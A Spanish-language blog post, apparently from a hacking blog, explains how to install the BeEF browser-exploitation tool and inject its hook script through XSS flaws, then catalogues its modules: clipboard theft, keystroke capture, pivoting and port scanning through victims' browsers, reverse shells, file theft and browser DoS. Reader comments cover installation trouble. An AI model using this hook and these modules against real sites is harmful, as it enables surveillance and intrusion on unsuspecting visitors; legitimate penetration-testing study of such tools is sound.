Inicio > Hacking, Web Applications > Automatizando Ataques XSS utilizando BEEF

Automatizando Ataques XSS utilizando BEEF

BEEF

Beef es una herramienta bastante útil y completa para automatizar ataques XSS contra clientes de aplicaciones web vulnerables, consiste en el uso de vectores de ataque XSS clásicos de forma automatizada, donde Beef, controla a todas las víctimas de este tipo de ataques y permite ejecutar diferentes tipos de payloads contra el objetivo, ademas de capturar información sobre la víctima, tales como sistema operativo utilizado, navegador, dirección IP, cookies, entre otra información valiosa.

Unas de las potencialidades que tiene esta herramienta es que se instala muy fácilmente ademas de que se integra con una serie de exploits manejados directamente por MetaSploit con el fin de conseguir penetrar en la maquina del objetivo, aunque este mecanismo de instalación es el mas sencillo, también se encuentra obsoleto, actualmente esta herramienta se encuentra en constante desarrollo y se ha migrado completamente a Ruby, a continuación se indica como instalar Beef de ambas formas.

Instalación aplicación web

En la pagina http://www.bindshell.net/tools/beef.html se encuentra disponible esta aplicación, su instalación es muy sencilla, como se ha comentado anteriormente, solamente basta con tener configurado un servidor Apache con PHP y por ultimo, descomprimir todos los ficheros que vienen incluidos en el directorio donde se encuentren localizadas las aplicaciones web que maneja Apache, tan sencillo como eso. Ahora bien, una vez descomprimidos dichos directorios solamente basta con navegar hacia la ruta http://localhost/beef/ desde allí, presionar sobre “Apply Config” y luego sobre “Finish”, la aplicación automáticamente enviará al usuario hacia la interfaz principal de administración.

Instalación Modulo Ruby

Es posible instalarlo desde el repositorio SVN habilitado para este propósito, los pasos para la instalación y configuración de beef son:

  1. Ejecutar el comando svn checkout “svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only” en un directorio como por ejemplo /opt/beef
  2. Ubicados en el directorio /opt/beef/beef-read-only/ ejecutar el comando de instalación ruby install.rb se debe tener instalada la librería ruby1.8-dev para que esto funcione.
  3. Finalmente, para probar que la instalación ha funcionado correctamente ejecutar el comando ruby beef.rb, de esta forma se deberá iniciar el servicio en el puerto por defecto (3000) por otro lado, las credenciales de acceso por defecto son beef/beef.
  4. Si todo ha ido bien, es importarte verificar el fichero de configuración de beef ubicado en /opt/beef/beef-read-only/config.yaml donde se declaran la configuración global de la aplicación así como módulos que se encuentran activados y desactivados.
  5. Después de iniciar el servidor, para que una víctima pueda asociarse a Beef es necesario “engañar” a la víctima para que inyecte en la aplicación vulnerable el código correspondiente al Hook, dicho script se muestra en la consola, donde probablemente será: Hook URL: http://127.0.0.1:3000/hook.js Esto en el caso de que la vulnerabilidad encontrada en la aplicación web sea XSS Reflected, sin embargo si se trata de una vulnerabilidad XSS Persistent no es necesario dicho “engaño” simplemente inyectar directamente el Hook y todos los usuarios que ingresen a dicha pagina serán victimas asociadas a la instancia de Beef en ejecución.

Aunque el primer mecanismo de instalación es mucho mas sencillo, se recomienda seguir con el segundo mecanismo, dado que se encuentra ahora mismo en constante desarrollo y es la mejor forma de mantenerse actualizado, ademas de que es mucho mas completo y en cierta media, mas estable.

Zoombies

En Beef el concepto de “Zoombie” se refiere a un cliente (de ahora en adelante, Zoombie es equivalente a navegador web de la víctima) que ha sido objeto de un ataque XSS apoyado por Beef, para que esto pueda ser llevado a cabo, es necesario que en primera instancia, el script correspondiente a la inyección de código XSS sea el que beef proporciona al momento de arracar (Hook). Posteriormente, el script que enseñe beef en dicha opción es el que debe de ser inyectado en el zoombie, actualmente dicho script es este: <script src=”http://localhost/beef/hook/beefmagic.js.php“></script>

Por otro lado, otras de las características interesantes es la posibilidad de ver en tiempo real las teclas ingresadas por el Zoombie, así como la página que se encuentra visualizando en todo momento, lo que sin lugar a dudas es una característica sumamente interesante.

Modulos Estandar

Los módulos estándar son útiles para la detección de software instalado, módulos y demás características en un Zoombie, consisten en el envió de determinadas peticiones a la víctima (zoombie) por medio del puente establecido gracias a la vulnerabilidad XSS explotada, es muy útil para recolectar información y/o otras actividades que si no son utilizadas de forma responsable, pueden hacer sospechar a la víctima. Los módulos estándar en Beef son:
Alert Dialog: Consiste en el envió de un alert JavaScript con un texto personalizado al Zoombie seleccionado

Clipboard Theft: Intenta capturar el “tablón” de copias del zoombie con el fin de acceder a documentos y elementos que se han copiado allí.

Deface Web Page: Intenta escribir un mensaje de texto personalizado en el contexto de la pagina del zoombie.

Detect Flash: Intenta determinar si el zoombie soporta flash y la versión que tiene instalada, el resultado puede verse en el panel de la derecha de la interfaz de administración en la sección de “Log Summary junto con todos los demás mensajes que han salido por log”

Detect Java: Intenta determinar si el zoombie soporta Java y la versión que tiene instalada, el resultado puede verse en el panel de la derecha de la interfaz de administración en la sección de “Log Summary junto con todos los demás mensajes que han salido por log”

Detect Plugins: Intenta determinar los plugins que soporta el zoombie, el resultado puede verse en el panel de la derecha de la interfaz de administración en la sección de “Log Summary” junto con todos los demás mensajes que han salido por log, una salida valida de este comando puede ser:

Module Result:
VLC Multimedia Plugin (compatible Totem 2.32.0)
Windows Media Player Plug-in 10 (compatible; Totem)
DivX® Web Player
QuickTime Plug-in 7.6.6
iTunes Application Detector
IcedTea NPR Web Browser Plugin (using IcedTea6 1.9.7 (6b20-1.9.7-0ubuntu1))
Shockwave Flash

Detect QuickTime: Determina si QuickTime se encuentra instalado en el zoombie seleccionado

Detect Software: Intenta determinar que software se encuentra instalado en el zoombie (en el caso de que existan extensiones de terceras partes instaladas).

Detect Unsafe ActiveX: Intenta determinar si el navegador objetivo tiene políticas de seguridad mal configuradas en los controles ActiveX, como resulta claro, esto solamente es valido todas las versiones de Internet Exporer.

Detect VBScript: Intenta determinar si Visual Basic Script es soportado por el zoombie.

Detect Virtual Machine: Intenta determinar si el zoombie se encuentra en una maquina virtual.

Prompt Dialog: Enviá un mensaje al zoombie esperando que ingrese un valor, la respuesta del usuario sera almacenada en los log de la aplicación.

Raw Script Module: Se trata de una característica muy interesante, ya que permite al atacante ingresar código JavaScript y enviarlo directamente al Zoombie aprovechando en puente XSS creado.

Rewrite Status Bar: Como su nombre lo indica, intenta escribir el texto que aparecerá en la barra de estatus del Zoombie seleccionado

Módulos de Red

Se trata de módulos un poco mas complejos, enfocados en la conectividad y acceso a recursos por medio del Zoombie, las opciones que incluye beef en este apartado son:

  • Ejecución de exploit sobre Asterisk 1.0.7
  • Detección de Tor en el Zoombie
  • Detección de nombre de host en el Zoombie
  • Detección de dirección IP en zoombie
  • Detección de sitios web visitados en función a un listado de sitios web proporcionados
  • Escaner de puertos distribuidos utilizando el Zoombie como pivote.
  • Redirección del Zoombie a una URL determinada
  • Petición de Browser, consiste en crear un iframe y enviar una petición a la URL especificada.
  • Bindshell IPC, bastante útil para acceder a maquinas correspondientes a una intranet que no se encuentran accesibles desde internet, pero si desde la maquina zoombie, de esta forma es posible ejecutar comandos sobre el Zoombie.
  • IMAP4 IPC, similar al anterior, sin embargo, en este caso, el Zoombie servirá de pivote para enviar comando a un servidor IMAP4 que posiblemente no se encuentra accesible desde internet, pero si desde el Zoombie.
  • Vtiger CRM upload exploit, crea un puente reverso a una consola de la maquina del atacante.

Módulos de Browser:

Se trata de módulos ejecutados contra el Zoombie en busca de explotar vulnerabilidades generales que afectar a determinados navegadores, por lo tanto en algunos casos, algunas de las opciones de este menú pueden ser de utilidad, mientras que otras simplemente no aplican para determinados Zoombies, por ejemplo, las primeras opciones se relacionan con exploits contra Internet Explorer, si el zoombie es un navegador FireFox, Safari, Chrome u otro, algunas de las opciones en esta categoría son:

  • CVE-2006-3730, se trata de la vulnerabilidad en IExplorer sobre el objeto WebViewFolderIcon, donde se trata de ejecutar el programa calc.exe
  • MS09-002, Se trata de una vulnerabilidad en IExplorer 7, que abusa de la stack de memoria del programa, terminando en un exploit de corrupción de memoria, el objetivo de este modulo es sobre windows XP SP2, si este exploit tiene éxito, iniciara una consola reversa escuchando sobre el puerto 28879.
  • CVE-2009-0137, vulnerabilidad en Safari, cuya explotación termina en robo de ficheros del sistema de archivos, en windows el fichero robado sera C:\windows\win.ini y en Linux o Mac /etc/passwd
  • DoS Chrome, como su nombre lo indica, intenta de ejecutar un ataque de denegación de servicio contra un Zoombie Chrome, explotando una vulnerabilidad de abuso de memoria contra dicho navegador.
  • DoS Firefox, Ejecuta un dialogo sobre el zoombie que se repite un numero indefinido de veces
  • DoS Generic, Ataque de denegación de servicio que puede afectar a un gran numero de navegadores.
  • Malicious Java Applet, se trata de un applet que ejecuta un comando ingresado por el atacante contra la maquina del cliente.
  • Mozilla nsIProcess XPCOM Interface (WINDOWS), Representa un proceso ejecutable, en este modulo, nsIProcess es combinado con la consola cmd.exe de Windows. Cualquier inyección XSS permite ejecutar comando arbitrarios en maquina de la victima.

Finalmente, en esta sección se encuentran módulos específicos de integración con MetaSploit Framework, en donde se pueden utilizar las potencialidades de metasploit junto con las herramientas de Beef, esto se detallará en una próxima entrada.

  1. santos
    octubre 22, 2011 en 2:31 am

    tengo instalado apache con php, cuando entro a la carpeta del beef dessde el navegador no ecuentro “Apply Config”. que puedo hacer entonces?

    Me gusta

    • octubre 22, 2011 en 11:05 am

      Se recomienda instalar las ultimas versiones que se ejecutan con Ruby, precisamente porque la instalación de Beef con PHP y Apache se encuentra descontinuada, el software ha evolucionado a Ruby desde hace algunos meses. Por lo tanto muchas funcionalidades o bien no se encuentran disponibles o no funcionan correctamente en la versión escrita en PHP.
      Instala la versión de Beef localizada en el repositorio, la cual esta escrita en Ruby.

      Me gusta

  2. santos
    octubre 22, 2011 en 3:15 pm

    Dice que no existe el repositorio http://beef.googlecode.com/svn/trunk/ beef-read-only. Puedes ayudarme? te lo agredeseria mucho

    Me gusta

    • octubre 23, 2011 en 11:42 am

      has ejecutado el comando:

      “svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only”

      El repositorio existe, si abres un navegador e ingresas la ruta, puedes ver la estructura completa del proyecto.
      Tienes correctamente instalado el SVN?

      Me gusta

  3. santos
    octubre 28, 2011 en 10:59 pm

    ya lo puede hacer, pero no me aparese el archivo “install.rb” y tampoco no puedo encontrar la libreria “ruby1.8-dev”

    Me gusta

    • octubre 29, 2011 en 12:33 pm

      ejecutas:

      ruby DIR_INSTALACION_BEEF/install

      En el software que hay en el repositorio de hace aproximadamente 1 mes, la versión 1.8 de ruby ya no es soportada, ahora se debe utilizar la 1.9. Si estas en Debian/Ubuntu o derivados utilizas el comando apt-get sino te descargas la librería de internet.

      Me gusta

  4. santos
    noviembre 4, 2011 en 1:06 am

    ya casi lo logro, pero al poner “ruby beef” me aparese esto.
    [img]http://tuimg.net/i/fa43c4_capturada.jpg[/img]

    Me gusta

  5. santos
    noviembre 4, 2011 en 3:44 pm

    disculpa por tantas preguntas, ahora mi problema es esto.

    al final de la imagen tira un error “ERROR ‘/’ not found.”

    Me gusta

  6. Alejandro
    febrero 10, 2012 en 6:01 pm

    se puede integrar al w3af?

    Me gusta

  1. julio 14, 2015 en 9:01 am

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: